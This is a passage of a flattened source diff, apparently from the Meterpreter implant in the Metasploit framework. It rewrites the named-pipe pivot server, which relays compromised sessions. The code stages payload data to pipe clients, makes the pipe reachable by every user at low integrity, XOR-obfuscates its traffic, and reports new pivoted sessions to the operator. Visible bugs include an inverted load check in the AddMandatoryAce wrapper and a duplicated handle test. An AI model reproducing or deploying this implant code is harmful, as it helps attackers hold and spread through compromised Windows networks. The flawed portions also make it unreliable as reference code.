toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); - } - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - // Fallback on a pipe with simpler security attributes - ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, NULL); - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create named pipe."); - } - - dprintf("[NP-SERVER] Creating the handler event"); - // This must be signalled, so that the connect event kicks off on the new thread. - ctx->read_overlap.hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); - if (ctx->read_overlap.hEvent == NULL) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); - } - - // this should not be signalled as it's just for handling named pipe writes. - ctx->write_overlap.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); - if (ctx->write_overlap.hEvent == NULL) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); - } - - dprintf("[NP-SERVER] Inserting the named pipe schedule entry"); - scheduler_insert_waitable(ctx->read_overlap.hEvent, ctx, NULL, server_notify, server_destroy); - } while (0); - - return dwResult; -} - -/*! - * @brief Deallocates and cleans up the attributes of a named pipe server context. - * @param ctx Pointer to the context to free. - */ -static VOID free_server_context(NamedPipeContext* ctx) -{ - do - { - if (!ctx) - { - break; - } - - dprintf("[NP-SERVER] free_server_context. ctx=0x%08X", ctx); - - dprintf("[NP-SERVER] freeing up pipe handle 0x%x", ctx->pipe); - if (ctx->pipe != INVALID_HANDLE_VALUE && ctx->pipe != INVALID_HANDLE_VALUE) - { - CloseHandle(ctx->pipe); - ctx->pipe = INVALID_HANDLE_VALUE; - } - - if (ctx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] free_server_context. signaling the thread to stop"); - scheduler_signal_waitable(ctx->read_overlap.hEvent, Stop); - ctx->read_overlap.hEvent = NULL; - } - - if (ctx->write_overlap.hEvent != NULL) - { - CloseHandle(ctx->write_overlap.hEvent); - ctx->write_overlap.hEvent = NULL; - } - - SAFE_FREE(ctx->packet_buffer); - - free(ctx); - - } while (0); -} - -/*! - * @brief Notify routine for a named pipe server channel to pick up its new client connections.. - * @param remote Pointer to the remote instance. - * @param serverCtx Pointer to the named pipe server context. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Notification completed successfully. - */ -static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext) -{ - DWORD dwResult = ERROR_SUCCESS; - Packet* request = NULL; - NamedPipeContext* serverCtx = (NamedPipeContext*)entryContext; - BOOL performRead = FALSE; - - do - { - if (!serverCtx) - { - BREAK_WITH_ERROR("[NP-SERVER] server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); - } - - if (serverCtx->pipe == INVALID_HANDLE_VALUE) - { - BREAK_WITH_ERROR("[NP-SERVER] pipe isn't present, we might be shutting down.", ERROR_INVALID_HANDLE); - } - - if (!serverCtx->connecting) - { - serverCtx->connecting = TRUE; - dprintf("[NP-SERVER] Connecting to the named pipe async"); - ConnectNamedPipe(serverCtx->pipe, &serverCtx->read_overlap); - - dwResult = GetLastError(); - dprintf("[NP-SERVER] checking the result of connect %u 0x%x", dwResult, dwResult); - if (dwResult == ERROR_IO_PENDING) - { - dprintf("[NP-SERVER] still waiting for an overlapped connection"); - break; - } - else if (dwResult == ERROR_PIPE_LISTENING) - { - dprintf("[NP-SERVER] client has connected apparently"); - serverCtx->established = TRUE; - // no break here, we want to continue - } - else - { - BREAK_WITH_ERROR("[NP-SERVER] Failed to connect to the named pipe", dwResult); - } - dwResult = ERROR_SUCCESS; - } - - DWORD bytesProcessed = 0; - dprintf("[NP-SERVER] Checking the overlapped result"); - if (!GetOverlappedResult(serverCtx->pipe, &serverCtx->read_overlap, &bytesProcessed, FALSE)) - { - dwResult = GetLastError(); - dprintf("[NP-SERVER] server_notify. unable to get the result, %u", dwResult); - - if (dwResult == ERROR_IO_INCOMPLETE) - { - dprintf("[NP-SERVER] still waiting for something to happen on the pipe"); - } - else if (dwResult == ERROR_BROKEN_PIPE) - { - dprintf("[NP-SERVER] the client appears to have bailed out, disconnecting..."); - // Reset the read event so that our schedular loop witll exit properly - ResetEvent(serverCtx->read_overlap.hEvent); - - // Prepare the notification packet for dispatching - Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_died"); - packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&serverCtx->pivot_session_guid, sizeof(serverCtx->pivot_session_guid)); - - // Clean up the pivot context - PivotContext* pivotCtx = pivot_tree_remove(remote->pivot_sessions, (LPBYTE)&serverCtx->pivot_session_guid); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot sessions (after one removed)"); - dbgprint_pivot_tree(remote->pivot_sessions); -#endif - SAFE_FREE(pivotCtx); - - // Clean up all the named pipe context stuff. - terminate_pipe(serverCtx); - - // Inform MSF of the dead session - packet_transmit(serverCtx->remote, notification, NULL); - - return ERROR_BROKEN_PIPE; - } - break; - } - - // spin up a new named pipe server instance to handle the next connection if this - // connection is new. - dprintf("[NP-SERVER] Apparently we have a result! With %u bytes", bytesProcessed); - if (!serverCtx->established) - { - // this is a connect, so tell MSF about it. - dprintf("[NP-SERVER] This appears to be a new connection, setting up context."); - - // Connection received, here we're going to create a new named pipe handle so that - // other connections can come in on it. We'll assume that it if worked once, it - // will work again this time - NamedPipeContext* nextCtx = (NamedPipeContext*)calloc(1, sizeof(NamedPipeContext)); - - // copy the relevant content over. - nextCtx->pipe = INVALID_HANDLE_VALUE; - nextCtx->remote = serverCtx->remote; - nextCtx->stage_data = serverCtx->stage_data; - nextCtx->stage_data_size = serverCtx->stage_data_size; - nextCtx->write_lock = lock_create(); - memcpy_s(&nextCtx->pivot_id, sizeof(nextCtx->pivot_id), &serverCtx->pivot_id, sizeof(nextCtx->pivot_id)); - memcpy_s(&nextCtx->name, PIPE_NAME_SIZE, &serverCtx->name, PIPE_NAME_SIZE); - - // create a new pipe for the next connection - DWORD result = create_pipe_server_instance(nextCtx); - if (result != ERROR_SUCCESS) - { - dprintf("[NP-SERVER] failed to create the pipe server instance: %u", result); - free_server_context(nextCtx); - } - - serverCtx->established = TRUE; - - // The current listener cotnext in the listeners tree points to the server instance that has now - // become a client instance due to the new connection. Therefore we need to update the pivot tree context - // to point to the new listener on the named pipe. - PivotContext* listenerCtx = pivot_tree_find(remote->pivot_listeners, (LPBYTE)&serverCtx->pivot_id); - if (listenerCtx != NULL) - { - dprintf("[NP-SERVER] Updating the listener context in the pivot tree"); - listenerCtx->state = nextCtx; - } - - // Time to stage the data - if (serverCtx->stage_data && serverCtx->stage_data_size > 0) - { - dprintf("[NP-SERVER] Sending stage on new connection"); - // send the stage length - named_pipe_write_raw(serverCtx, (LPBYTE)&serverCtx->stage_data_size, sizeof(serverCtx->stage_data_size)); - - // send the stage - named_pipe_write_raw(serverCtx, serverCtx->stage_data, serverCtx->stage_data_size); - - // to "hand over" the stage data, set the existing pointer to NULL so that things don't get freed - // when they shouldn't be. - serverCtx->stage_data = NULL; - } - - // We need to figure out if this is a new session without a session GUID or if it's an old - // session that's come back out of nowhere (transport switching, sleeping, etc). Create a packet - // that will request the guid, and track a random request ID to find the response later on. - dprintf("[NP-SERVER] Creating the guid request packet"); - Packet* getGuidPacket = packet_create(PACKET_TLV_TYPE_REQUEST, "core_get_session_guid"); - dprintf("[NP-SERVER] adding the request ID to the guid request packet"); - packet_add_request_id(getGuidPacket); - CHAR* requestId = packet_get_tlv_value_string(getGuidPacket, TLV_TYPE_REQUEST_ID); - dprintf("[NP-SERVER] Copying the request ID from the packet to the context"); - memcpy(serverCtx->guid_request_id, requestId, sizeof(serverCtx->guid_request_id)); - - // prepare the packet buffer for sending. - DWORD packetLength = getGuidPacket->payloadLength + sizeof(PacketHeader); - dprintf("[NP-SERVER] We think the packet length is %u (0x%x)", packetLength, packetLength); - LPBYTE packetBuffer = (LPBYTE)malloc(packetLength); - - dprintf("[NP-SERVER] Doing the XOR thing on the guid request packet"); - rand_xor_key(getGuidPacket->header.xor_key); - memcpy(packetBuffer, &getGuidPacket->header, sizeof(getGuidPacket->header)); - memcpy(packetBuffer + sizeof(getGuidPacket->header), getGuidPacket->payload, packetLength - sizeof(getGuidPacket->header)); - - // we don't support encryption at this point, but we do want to do the XOR thing! - xor_bytes(getGuidPacket->header.xor_key, packetBuffer + sizeof(getGuidPacket->header.xor_key), packetLength - sizeof(getGuidPacket->header.xor_key)); - - dprintf("[NP-SERVER] Sending the request packet to the new pivoted session"); - // Send the packet down to the newly created meterpreter session on the named pipe - named_pipe_write_raw(serverCtx, packetBuffer, packetLength); - - dprintf("[NP-SERVER] Freeing up the packet buffer"); - free(packetBuffer); - dprintf("[NP-SERVER] Done!"); - } - - if (bytesProcessed > 0) - { - dprintf("[NP-SERVER] read & sending bytes %u", bytesProcessed); - read_pipe_to_packet(serverCtx, serverCtx->read_buffer, bytesProcessed); - } - - performRead = TRUE; - } while (0); - - if (serverCtx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] Resetting the event handle"); - ResetEvent(serverCtx->read_overlap.hEvent); - } - - // this has to be done after the signal is reset, otherwise ... STRANGE THINGS HAPPEN! - if (performRead) - { - // prepare for reading - serverCtx->read_overlap.Offset = 0; - serverCtx->read_overlap.OffsetHigh = 0; - - // read the data from the pipe, we're async, so the return value of the function is meaningless. - dprintf("[NP-SERVER] kicking off another read operation..."); - ReadFile(serverCtx->pipe, serverCtx->read_buffer, PIPE_BUFFER_SIZE, NULL, &serverCtx->read_overlap); - } - - return dwResult; -} - -/*! - * @brief Allocates a streaming named pipe server channel. - * @param remote Pointer to the remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Opening the server channel completed successfully. - */ -DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet) -{ - DWORD dwResult = ERROR_SUCCESS; - NamedPipeContext* ctx = NULL; - Packet* response = NULL; - char* namedPipeName = NULL; - char* namedPipeServer = NULL; - - do - { - response = packet_create_response(packet); - if (!response) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); - } - - ctx = (NamedPipeContext *)calloc(1, sizeof(NamedPipeContext)); - if (!ctx) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); - } - - ctx->remote = remote; - ctx->write_lock = lock_create(); - - namedPipeName = packet_get_tlv_value_string(packet, TLV_TYPE_PIVOT_NAMED_PIPE_NAME); - if (!namedPipeName) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName == NULL", ERROR_INVALID_PARAMETER); - } - - if (strchr(namedPipeName, '\\') != NULL) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName contains backslash (invalid)", ERROR_INVALID_PARAMETER); - } - - //namedPipeServer = packet_get_tlv_value_string(packet, TLV_TYPE_NAMED_PIPE_SERVER); - if (namedPipeServer == NULL) - { - namedPipeServer = "."; - } - - LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); - if (pivotId != NULL) - { - memcpy(&ctx->pivot_id, pivotId, sizeof(ctx->pivot_id)); - } - - LPVOID stageData = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_STAGE_DATA); - ctx->stage_data_size = packet_get_tlv_value_uint(packet, TLV_TYPE_PIVOT_STAGE_DATA_SIZE); - - if (stageData && ctx->stage_data_size > 0) - { - dprintf("[NP-SEVER] stage received, size is %u (%x)", ctx->stage_data_size, ctx->stage_data_size); - ctx->stage_data = (LPVOID)malloc(ctx->stage_data_size); - memcpy(ctx->stage_data, stageData, ctx->stage_data_size); - } - - // Default to invalid handle. - ctx->pipe = INVALID_HANDLE_VALUE; - - _snprintf_s(ctx->name, PIPE_NAME_SIZE, PIPE_NAME_SIZE - 1, "\\\\%s\\pipe\\%s", namedPipeServer, namedPipeName); - - dwResult = create_pipe_server_instance(ctx); - - dprintf("[NP-SERVER] creation of the named pipe returned: %d 0x%x", dwResult, dwResult); - - if (dwResult == ERROR_SUCCESS) - { - dprintf("[NP-SERVER] request_net_named_pipe_server_channel_open. named pipe server %s", namedPipeName); - PivotContext* pivotCtx = (PivotContext*)calloc(1, sizeof(PivotContext)); - pivotCtx->state = ctx; - pivotCtx->remove = remove_listener; - pivot_tree_add(remote->pivot_listeners, pivotId, pivotCtx); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot listeners (after new one added)"); - dbgprint_pivot_tree(remote->pivot_listeners); -#endif - } - - } while (0); - - packet_transmit_response(dwResult, remote, response); - - do - { - if (dwResult == ERROR_SUCCESS) - { - break; - } - - dprintf("[NP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); - - if (!ctx) - { - break; - } - - if (ctx->write_lock != NULL) - { - lock_destroy(ctx->write_lock); - } - - if (ctx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] Destroying wait handle"); - CloseHandle(ctx->read_overlap.hEvent); - } - - if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) - { - dprintf("[NP-SERVER] Destroying pipe"); - CloseHandle(ctx->pipe); - } - - free(ctx); - - } while (0); - - return dwResult; +#include "metsrv.h" +#include "server_pivot_named_pipe.h" +#include "packet_encryption.h" + +#include +#include + +#define PIPE_NAME_SIZE 256 +#define PIPE_BUFFER_SIZE 0x10000 + +typedef struct _NamedPipeContext +{ + // make sure we leave this as the first element, so that it can be cast + // to an OVERLAPPED pointer for various operations. + OVERLAPPED read_overlap; + OVERLAPPED write_overlap; + char name[PIPE_NAME_SIZE]; + GUID pivot_id; + GUID pivot_session_guid; + BOOL session_established; + CHAR guid_request_id[32]; + Remote* remote; + HANDLE pipe; + BOOL connecting; + BOOL established; + BYTE read_buffer[PIPE_BUFFER_SIZE]; + LPBYTE packet_buffer; + DWORD packet_buffer_size; + DWORD packet_buffer_offset; + DWORD packet_required_size; + LPVOID stage_data; + DWORD stage_data_size; + LOCK* write_lock; +} NamedPipeContext; + +static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext); +static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); +static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength); +static VOID free_server_context(NamedPipeContext* ctx); + +typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); +static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) +{ + static BOOL attempted = FALSE; + static PAddMandatoryAce pAddMandatoryAce = NULL; + + if (attempted) + { + attempted = TRUE; + + HMODULE lib = LoadLibraryA("advapi32.dll"); + if (lib != NULL) + { + pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); + dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); + } + } + + if (pAddMandatoryAce != NULL) + { + pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); + } + + return TRUE; +} + +static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext) +{ + NamedPipeContext* ctx = (NamedPipeContext*)entryContext; + if (ctx != NULL) + { + dprintf("[PIVOT] Cleaning up the pipe pivot context"); + lock_acquire(ctx->remote->lock); + CloseHandle(ctx->pipe); + CloseHandle(ctx->read_overlap.hEvent); + CloseHandle(ctx->write_overlap.hEvent); + SAFE_FREE(ctx->stage_data); + lock_destroy(ctx->write_lock); + lock_release(ctx->remote->lock); + dprintf("[PIVOT] Cleaned up the pipe pivot context"); + } + return ERROR_SUCCESS; +} + +static void terminate_pipe(NamedPipeContext* ctx) +{ + if (ctx != NULL) + { + scheduler_signal_waitable(ctx->read_overlap.hEvent, SchedulerStop); + } +} + +static DWORD remove_listener(LPVOID state) +{ + dprintf("[PIVOT] removing named pipe listener"); + terminate_pipe((NamedPipeContext*)state); + return ERROR_SUCCESS; +} + +static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sourceSize) +{ + BOOL relayPacket = TRUE; + // Make sure we have the space to handle the incoming packet + if (ctx->packet_buffer_size < sourceSize + ctx->packet_buffer_offset) + { + ctx->packet_buffer_size = sourceSize + ctx->packet_buffer_offset; + dprintf("[PIVOT] Allocating space: %u bytes", ctx->packet_buffer_size); + ctx->packet_buffer = (LPBYTE)realloc(ctx->packet_buffer, ctx->packet_buffer_size); + } + + // copy over the new data + memcpy(ctx->packet_buffer + ctx->packet_buffer_offset, source, sourceSize); + ctx->packet_buffer_offset += sourceSize; + + // check if the packet is complete + if (ctx->packet_required_size == 0) + { + dprintf("[PIVOT] Size not yet calculated"); + if (ctx->packet_buffer_offset >= sizeof(PacketHeader)) + { + dprintf("[PIVOT] header bytes received, calculating buffer offset"); + // get a copy of the header data and XOR it out so we can read the length + PacketHeader* header = (PacketHeader*)ctx->packet_buffer; +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)ctx->packet_buffer; + dprintf("[PIVOT] Packet header before XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); +#ifdef DEBUGTRACE + h = (PUCHAR)ctx->packet_buffer; + dprintf("[PIVOT] Packet header after XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + ctx->packet_required_size = ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); + xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); + dprintf("[PIVOT] Required size is %u bytes", ctx->packet_required_size); + } + } + + if (ctx->packet_required_size > 0 && ctx->packet_required_size <= ctx->packet_buffer_offset) + { + // whole packet is ready for transmission to the other side! Pivot straight through the existing + // transport by sending the raw packet to the transmitter. + if (!ctx->session_established) + { + dprintf("[PIPE] Session not yet established, checking for response packet"); + // we need to check if this packet contains a response to the request for a session guid + PacketHeader* header = (PacketHeader*)ctx->packet_buffer; + xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); + if (header->enc_flags == ENC_FLAG_NONE) + { + dprintf("[PIPE] Incoming packet is not encrypted!"); + Packet* packet = (Packet*)calloc(1, sizeof(Packet)); + packet->header.length = header->length; + packet->header.type = header->type; + packet->payloadLength = ntohl(packet->header.length) - sizeof(TlvHeader); + packet->payload = ctx->packet_buffer + sizeof(PacketHeader); + + CHAR* requestId = packet_get_tlv_value_string(packet, TLV_TYPE_REQUEST_ID); + if (requestId != NULL && memcmp(ctx->guid_request_id, requestId, sizeof(ctx->guid_request_id)) == 0) + { + dprintf("[PIPE] Request ID found and matches expected value"); + // we have a response to our session guid request + LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&sessionGuid[0]; + dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + h = (PUCHAR)&ctx->pivot_session_guid; + dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); +#endif + if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) + { + dprintf("[PIPE] Session guid returned, looks like the session is a reconnect"); + memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)); + + PivotContext* pc = pivot_tree_remove(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid); + if (pc != NULL) + { + dprintf("[PIPE] We seem to have acquired a new instance of a pivot we didnt know was dead. Killing!"); + free_server_context((NamedPipeContext*)pc->state); + free(pc); + } + } + else + { + dprintf("[PIPE] Session guid not found, looks like the session is new"); + + // We need to generate a new session GUID and inform metasploit of the new session + CoCreateGuid(&ctx->pivot_session_guid); + + // swizzle the values around so that endianness isn't an issue before casting to a block of bytes + ctx->pivot_session_guid.Data1 = htonl(ctx->pivot_session_guid.Data1); + ctx->pivot_session_guid.Data2 = htons(ctx->pivot_session_guid.Data2); + ctx->pivot_session_guid.Data3 = htons(ctx->pivot_session_guid.Data3); + } + + ctx->session_established = TRUE; + + PivotContext* pivotContext = (PivotContext*)calloc(1, sizeof(PivotContext)); + pivotContext->state = ctx; + pivotContext->packet_write = named_pipe_write_raw; + pivot_tree_add(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid, pivotContext); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot sessions (after new one added)"); + dbgprint_pivot_tree(ctx->remote->pivot_sessions); +#endif + + // with the session now established, we need to inform metasploit of the new connection + dprintf("[PIPE] Informing MSF of the new named pipe pivot"); + Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_new"); + packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid)); + packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id)); + packet_transmit(ctx->remote, notification, NULL); + + relayPacket = FALSE; + } + + free(packet); + } + xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); + } + + if (relayPacket) + { + dprintf("[PIVOT] Entire packet is ready, size is %u, offset is %u", ctx->packet_required_size, ctx->packet_buffer_offset); + ctx->remote->transport->packet_transmit(ctx->remote, ctx->packet_buffer, ctx->packet_required_size); + } + // TODO: error check? + + // with the packet sent, we need to rejig a bit here so that the next block of data + // results in a new packet. + DWORD diff = ctx->packet_buffer_offset - ctx->packet_required_size; + if (diff > 0) + { + dprintf("[PIVOT] Extra %u bytes found, shuffling data", diff); + memmove(ctx->packet_buffer, ctx->packet_buffer + ctx->packet_required_size, diff); + }; + dprintf("[PIVOT] Packet buffer reset"); + ctx->packet_buffer_offset = diff; + ctx->packet_required_size = 0; + } + + return ERROR_SUCCESS; +} + +static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength) +{ + NamedPipeContext* ctx = (NamedPipeContext*)state; + DWORD dwResult = ERROR_SUCCESS; + DWORD bytesWritten = 0; + + lock_acquire(ctx->write_lock); + + dprintf("[NP-SERVER] Writing a total of %u", rawLength); + while (bytesWritten < rawLength) + { + DWORD byteCount = 0; + WriteFile(ctx->pipe, raw, rawLength - bytesWritten, NULL, &ctx->write_overlap); + //WriteFile(ctx->pipe, raw, min(rawLength - bytesWritten, PIPE_BUFFER_SIZE), NULL, &ctx->write_overlap); + + // blocking here is just fine, it's the reads we care about + if (GetOverlappedResult(ctx->pipe, &ctx->write_overlap, &byteCount, TRUE)) + { + dprintf("[NP-SERVER] Wrote %u", byteCount); + bytesWritten += byteCount; + } + else + { + BREAK_ON_ERROR("[NP-SERVER] failed to do the write"); + } + dprintf("[NP-SERVER] left to go: %u", rawLength - bytesWritten); + } + + dprintf("[NP SERVER] server write. finished. dwResult=%d, written=%d", dwResult, bytesWritten); + + lock_release(ctx->write_lock); + + return dwResult; +} + +VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) +{ + // Start with the DACL (perhaps try the NULL sid if it doesn't work?) + SID_IDENTIFIER_AUTHORITY sidWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID sidEveryone = NULL; + if (!AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) + { + dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); + return; + } + + dprintf("[NP-SERVER] sidEveryone: %p", sidEveryone); + + EXPLICIT_ACCESSW ea = { 0 }; + ea.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = NO_INHERITANCE; + ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (LPWSTR)sidEveryone; + + //PACL dacl = (PACL)LocalAlloc(LPTR, 256); + PACL dacl = NULL; + DWORD result = SetEntriesInAclW(1, &ea, NULL, &dacl); + if (result != ERROR_SUCCESS) + { + dprintf("[NP-SERVER] SetEntriesInAclW failed: %u", result); + } + dprintf("[NP-SERVER] DACL: %p", dacl); + + // set up the sacl + SID_IDENTIFIER_AUTHORITY sidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; + PSID sidLow = NULL; + if (!AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) + { + dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); + } + dprintf("[NP-SERVER] sidLow: %p", dacl); + + PACL sacl = (PACL)LocalAlloc(LPTR, 256); + if (!InitializeAcl(sacl, 256, ACL_REVISION_DS)) + { + dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); + } + + if (!AddMandatoryAce(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) + { + dprintf("[NP-SERVER] AddMandatoryAce failed: %u", GetLastError()); + } + + // now build the descriptor + PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) + { + dprintf("[NP-SERVER] InitializeSecurityDescriptor failed: %u", GetLastError()); + } + + // add the dacl + if (!SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) + { + dprintf("[NP-SERVER] SetSecurityDescriptorDacl failed: %u", GetLastError()); + } + + // now the sacl + if (!SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) + { + dprintf("[NP-SERVER] SetSecurityDescriptorSacl failed: %u", GetLastError()); + } + + psa->nLength = sizeof(SECURITY_ATTRIBUTES); + psa->bInheritHandle = FALSE; + psa->lpSecurityDescriptor = sd; +} + +DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) +{ + HANDLE accessToken; + TOKEN_PRIVILEGES tp; + TOKEN_PRIVILEGES prevTp; + LUID luid; + DWORD tpLen; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) + { + dprintf("[NP-PRIV] Couldn't open process token: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + if (!LookupPrivilegeValueW(NULL, privName, &luid)) + { + dprintf("[NP-PRIV] Couldn't look up the value: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; + + if (!AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) + { + dprintf("[NP-PRIV] Couldn't adjust the token privs: %u (%x)", GetLastError(), GetLastError()); + return GetLastError(); + } + + *wasEnabled = (prevTp.Privileges[0].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED ? TRUE : FALSE; + dprintf("[NP-PRIV] the %S token was %senabled, and is now %s", privName, *wasEnabled ? "" : "not ", enable ? "enabled" : "disabled"); + + CloseHandle(accessToken); + + return ERROR_SUCCESS; +} + +DWORD create_pipe_server_instance(NamedPipeContext* ctx) +{ + DWORD dwResult = ERROR_SUCCESS; + + do + { + dprintf("[NP-SERVER] 